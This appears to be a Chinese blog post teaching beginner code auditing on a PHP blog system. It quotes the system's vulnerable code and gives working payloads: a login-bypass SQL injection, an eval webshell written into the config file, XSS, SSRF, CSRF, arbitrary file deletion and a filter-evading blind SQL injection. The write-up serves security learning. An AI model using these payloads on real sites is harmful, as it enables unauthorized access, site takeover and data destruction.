浅谈代码审计入门实战:某博客系统最新版审计之旅

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里ad/login.php先看代码

function jsloginpost(){
global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"]; setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",''); $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); 

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

username=qweq' or 1=1#
password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的setconfig.php我们先看一下大致的表单提交格式

function save(){ global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath; $file="../cmsconfig.php"; $text = file_get_contents($file); $text2=$text; $text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2); $text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2); $text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2); $text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2); $text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2); $text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2); $text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2); $text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2); $text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2); ?> 

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅_第1张图片

所以我们可以构造一句话插入

";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅_第2张图片

然后用菜刀链接cmsconfig.php文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在art.php先大致看一下代码有无过滤

添加文章

function addart(){ $_SESSION['jdate']='';$_SESSION['jid']=''; global $webauthor,$date,$weburl; global $tabhead; $title=$_GET['title']; $content=$_GET['content']; ?> 

这里乍一看是没有进行过滤的,接着找一下表单结构

<div id=addart_left>
<span id="jieguo">span> <form id="frm" name="frm" method="post" action="?g=editsave" > <input name=id type=hidden value="?>" > <p><input style="width:400px" type=text name=title value="?>" >文章标题,严禁特殊符号p> <p><input style="width:400px" name=htmlname type=text value="?>" >html别名,静态目录,严禁特殊符号p> <p ><input style="width:400px;" type=text name=pic id=pic_txt value="?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址 p> <p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;">?>textarea>p> div> 

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了tags参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];}
$tags=htmlnameguolv($tags);

跟进去过滤函数

function htmlnameguolv($str){
$str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('&', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', ',', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace('“', '', $str); $str = str_replace('”', '', $str); $str = str_replace(',', ',', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); return $str; } 

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数title这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

浅谈代码审计入门实战:某博客系统最新版审计之旅_第3张图片

前台查看文章

当然这里也是存在二次注入的

SSRF

问题处在/go/index.php,关键代码如下

'u'];
$u=strtolower($u);


$u='http://'.str_replace('http://','',$u); ?> <script>location.href="?>"script> 

u是我们可控的参数,也是一个地址,我们可以直接传入一个内网地址,实现主机发现或者端口扫描

CSRF

问题出在/ad/admin.php,关键代码如下


<ul>
<li><a target="main" href='right.php'><b>您的位置:后台首页b>a> > <a target="main" href='admin.php'><b>管理员列表b>a> > <a target="main" href='admin.php?g=add'><b>添加管理员b>a> li> ul> div> <div id=adform> <form id="frm" action="?g=addsave" method="post"> <p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号p> <p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码p> <p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码p> <p><button id="send" onclick=submit() >添加button>p> form> div> ?> 

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

浅谈代码审计入门实战:某博客系统最新版审计之旅_第4张图片

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面完成后丢弃这个包,我们先看我们的管理员有几个


点击html页面的提交


再后来看我们的管理员

任意文件删除

问题处在/app/dbbackup/index.php中关键代码如下

if($g=='del'){
$p=$_REQUEST['p'];
if($p==''){echo '';} unlink($p); 

这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除install.lock从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在hit.php,关键代码如下

"Content-type:text/html; charset=utf-8");
require("cmsconfig.php"); require("class/c_other.php"); sqlguolv(); $g=$_GET['g']; if ($g=='arthit'){ $id=$_GET['id']; if($id!=''){ $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql); $str=$row['hit']; echo 'document.write('.$str.');'; } } ?> 

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下关键代码

Function sqlguolv() {
        header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!"; exit;} } 

这里是把$_SERVER['QUERY_STRING'])与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过绕过很简单,这里就只贴一个payload了

hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10 

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。

你可能感兴趣的:(浅谈代码审计入门实战:某博客系统最新版审计之旅)